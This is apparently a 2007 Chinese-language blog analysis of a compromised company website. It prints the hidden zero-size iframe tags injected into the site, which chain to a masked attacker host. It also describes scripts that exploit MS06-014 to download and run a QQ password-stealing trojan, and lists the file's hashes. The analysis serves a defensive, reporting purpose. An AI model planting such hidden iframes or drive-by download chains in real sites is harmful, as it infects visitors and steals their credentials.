广西某邦农业股份有限公司网站被挂马Trojan.PSW.Win32.QQPass.qpr

广西某邦农业股份有限公司网站被挂马Trojan-PSW.Win32.QQPass.ahe / Trojan.PSW.Win32.QQPass.qpr

endurer 原创
2007-11-06 第1版

打开该公司网站时，Kaspersky 报告：
/---
已检测到: 木马程序 Trojan-Downloader.VBS.Small.ca URL: hxxp://user**.free***2.7*71*69.net/ayayxi/hz2.htm
已检测到: 恶意程序 Exploit.JS.ADODB.Stream.y URL: hxxp://user**.free***2.7*71*69.net/ayayxi/hz3.htm
已检测到: 木马程序 Trojan-Downloader.VBS.Small.dc URL: hxxp://user**.free***2.7*71*69.net/ayayxi/hz4.htm
---/

检查网页代码，发现：
/---
＜iframe src="hxxp://user**.free***2.7*71*69.net/ayayxi/jxy.htm" width="0" height="0" frameborder="0"＞＜/iframe＞
---/

hxxp://user**.free***2.7*71*69.net/ayayxi/jxy.htm 包含代码：
/---
＜iframe src="hxxp://user**.free***2.7*71*69.net/ayayxi/hz.htm" width="0" height="0" frameborder="0"＞＜/iframe＞
＜iframe src="hxxp://user**.free***2.7*71*69.net/ayayxi/hz1.htm" width="0" height="0" frameborder="0"＞＜/iframe＞
＜iframe src="hxxp://user**.free***2.7*71*69.net/ayayxi/hz2.htm" width="0" height="0" frameborder="0"＞＜/iframe＞
＜iframe src="hxxp://user**.free***2.7*71*69.net/ayayxi/hz3.htm" width="0" height="0" frameborder="0"＞＜/iframe＞
＜iframe src="hxxp://user**.free***2.7*71*69.net/ayayxi/hz4.htm" width="0" height="0" frameborder="0"＞＜/iframe＞
＜iframe src="hxxp://user**.free***2.7*71*69.net/ayayxi/z/hz5.htm" width="0" height="0" frameborder="0"＞＜/iframe＞
---/

hxxp://user**.free***2.7*71*69.net/ayayxi/hz.htm　未能打开。

hxxp://user**.free***2.7*71*69.net/ayayxi/hz1.htm 包含JavaScript代码，功能是利用MS06-014: msadco.dll 严重漏洞 下载 ke.exe，保存为 C:/boot.exe 并运行。

文件说明符 : D:/test/ke.exe
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2007-11-6 13:36:44
修改时间 : 2007-11-6 13:37:16
访问时间 : 2007-11-6 13:38:15
大小 : 47203 字节 46.99 KB
MD5 : 6e53bf373366486950315e9462dee47a
SHA1: 2B14B97FCA6BC3CA41CB477E9ABB92D7465E66F4
CRC32: 85f05bbe

Kaspersky 已检测到: 木马程序 Trojan-PSW.Win32.QQPass.ahe 文件: D:/test/ke.exe/NSPack

瑞星报为: Trojan.PSW.Win32.QQPass.qpr

hxxp://user**.free***2.7*71*69.net/ayayxi/hz2.htm
hxxp://user**.free***2.7*71*69.net/ayayxi/hz3.htm
hxxp://user**.free***2.7*71*69.net/ayayxi/hz4.htm
均包含 VBScript 代码，功能是利用MS06-014: msadco.dll 严重漏洞 下载 ke.exe 到临时文件夹中， 文件名为 svchost.exe 并运行。

hxxp://user**.free***2.7*71*69.net/ayayxi/hz5.htm 未能打开。

Google已将该网站标志为：该网站可能含有恶意软件，有可能会危害您的电脑。